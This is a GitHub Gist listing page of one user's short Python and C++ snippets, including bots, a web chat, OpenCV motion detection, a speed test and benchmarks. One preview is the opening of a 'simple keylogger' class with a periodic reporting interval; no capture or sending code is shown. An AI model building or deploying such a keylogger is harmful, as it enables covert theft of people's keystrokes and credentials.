Skip to content

Instantly share code, notes, and snippets.

@Priler
Priler / settings.json
Created October 24, 2023 09:46
VSCode custom settings
"files.autoSave": "onFocusChange",
"editor.renderWhitespace": "trailing",
"editor.wordWrap": "on",
"editor.guides.bracketPairs": "active",
"editor.smoothScrolling": true,
"editor.cursorBlinking": "smooth",
"editor.cursorSmoothCaretAnimation": "on",
"editor.fontLigatures": true,
"editor.suggest.preview": true,
"files.insertFinalNewline": true,
@Priler
Priler / config.py
Created February 28, 2023 17:19
Python Aiogram ChatGPT simple bot via OpenAI
TOKEN = "<telegram-bot-token>" # obtained from @BotFather
OPENAI_TOKEN = "<openai-api-key>" # obtained from https://platform.openai.com/account/api-keys
@Priler
Priler / motiondetect.py
Created May 17, 2022 17:15
Python + OpenCV hand motion detection
import cv2
import numpy as np
from collections import deque
from enum import Enum
import time
import pyautogui
# инициализируем
video = cv2.VideoCapture(1) # id устройства камеры
hands_haar_cascade = cv2.CascadeClassifier("rpalm.xml")
@Priler
Priler / pywebio_online_chat.py
Created October 22, 2021 12:53
Simple online chat on Python in less than 100 lines of code
import asyncio
from pywebio import start_server
from pywebio.input import *
from pywebio.output import *
from pywebio.session import defer_call, info as session_info, run_async, run_js
chat_msgs = []
online_users = set()
@Priler
Priler / python_speedtest.py
Created September 15, 2021 06:53
Check internet speed in Python
from rich import print
from rich.console import Console
from speedtest import Speedtest
console = Console()
st = Speedtest()
with console.status("[bold green]Замеряю скорость интернета...") as status:
dl_speed = int(st.download() / 8000)
height = float(input("Введите свой рост (см): "))
weight = float(input("Введите свой вес (кг): "))
BMI = float("{0:.2f}".format(weight / ((height / 100) * (height / 100))))
print(f"Ваш текущий ИМТ равен {BMI}")
if(BMI > 40):
print("Ожирение III степени")
elif(BMI >= 35):
import turtle
colors = ['red', 'blue', 'purple', 'green',
'orange', 'yellow']
t = turtle.Pen()
turtle.bgcolor('black')
t.hideturtle()
for x in range(360):
@Priler
Priler / keylogger.py
Created August 8, 2021 09:21
Python simple keylogger
import keyboard
from threading import Timer
from datetime import datetime
class Keylogger:
start_dt = ""
end_dt = ""
log = ""
interval = 60 # report every minute
@Priler
Priler / chat_server.cpp
Last active December 5, 2022 11:22
??? :3
/* Лол, код из архива - файл датируется 2017 годом.
Написан был после недели изучения C++.
Реализует серверную часть чата на клиенте.
Код не полный, писался на скорую руку - так сказать proof of concept.
О, и да - семафоры это круто :3 */
#include <iostream>
#include <string>
#include <stdio.h>
#include <cstring>
#include <stdlib.h>
@Priler
Priler / heapq_vs_sort.py
Created July 31, 2021 09:26
Simple performance measure test for Heapq.nlargest vs sort() in Python
def naive_find_top_k(values, k=20):
values.sort(reverse=True)
return values[:k]
import heapq
def heap_find_top_k(values, k=20):
return heapq.nlargest(k, values)
import random